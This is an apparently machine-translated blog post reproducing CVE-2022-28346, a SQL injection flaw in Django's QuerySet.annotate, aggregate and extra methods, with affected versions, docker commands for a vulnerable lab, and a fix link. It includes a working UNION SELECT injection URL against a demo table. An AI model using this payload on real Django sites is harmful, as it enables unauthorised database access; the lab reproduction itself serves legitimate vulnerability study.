当前位置:网站首页>Cve-2022-28346: Django SQL injection vulnerability
Cve-2022-28346: Django SQL injection vulnerability
2022-07-08 00:41:00 【yggcwhat】
0x01 brief introduction
Django Yes, it is Python Developed a free open source Web frame , It almost covers Web Every aspect of application , Can be used to quickly build high performance 、 Elegant website ,Django It provides many modules often used in website background development , Enable developers to focus on the business part .
0x02 Summary of vulnerability
Hole number :CVE-2022-28346
Attackers use a carefully crafted dictionary , adopt **kwargs Pass to QuerySet.annotate()、aggregate() and extra() These methods , This can cause these methods to be affected by SQL Injection attack .
0x03 Affects version
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 Environment building
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 Loophole recurrence
You can find out which interfaces exist through the error reporting page

If the access interface has parameters , The error message will also be prompted

Use the parameters of the error prompt sql Inject
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 Repair method
The Security version has been officially released , Download address :
https://www.djangoproject.com/download/
边栏推荐
- Stock account opening is free of charge. Is it safe to open an account on your mobile phone
- QT adds resource files, adds icons for qaction, establishes signal slot functions, and implements
- Qt添加资源文件,为QAction添加图标,建立信号槽函数并实现
- Thinkphp内核工单系统源码商业开源版 多用户+多客服+短信+邮件通知
- DNS 系列(一):为什么更新了 DNS 记录不生效?
- CVE-2022-28346:Django SQL注入漏洞
- Jouer sonar
- What is load balancing? How does DNS achieve load balancing?
- The underlying principles and templates of new and delete
- 取消select的默认样式的向下箭头和设置select默认字样
猜你喜欢

Cancel the down arrow of the default style of select and set the default word of select

Service mesh introduction, istio overview

How to learn a new technology (programming language)

Jouer sonar

去了字节跳动,才知道年薪 40w 的测试工程师有这么多?

Is Zhou Hongyi, 52, still young?

What has happened from server to cloud hosting?

备库一直有延迟,查看mrp为wait_for_log,重启mrp后为apply_log但过一会又wait_for_log

搭建ADG过程中复制报错 RMAN-03009 ORA-03113

QT adds resource files, adds icons for qaction, establishes signal slot functions, and implements
随机推荐
Is 35 really a career crisis? No, my skills are accumulating, and the more I eat, the better
Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades(KDD20)
5g NR system messages
1293_FreeRTOS中xTaskResumeAll()接口的实现分析
华为交换机S5735S-L24T4S-QA2无法telnet远程访问
What is load balancing? How does DNS achieve load balancing?
德总理称乌不会获得“北约式”安全保障
取消select的默认样式的向下箭头和设置select默认字样
How to learn a new technology (programming language)
Operating system principle --- summary of interview knowledge points
《因果性Causality》教程,哥本哈根大学Jonas Peters讲授
商品的设计等整个生命周期,都可以将其纳入到产业互联网的范畴内
[Yugong series] go teaching course 006 in July 2022 - automatic derivation of types and input and output
詹姆斯·格雷克《信息简史》读后感记录
Emotional post station 010: things that contemporary college students should understand
paddle入门-使用LeNet在MNIST实现图像分类方法二
什么是负载均衡?DNS如何实现负载均衡?
RPA云电脑,让RPA开箱即用算力无限?
Malware detection method based on convolutional neural network
My best game based on wechat applet development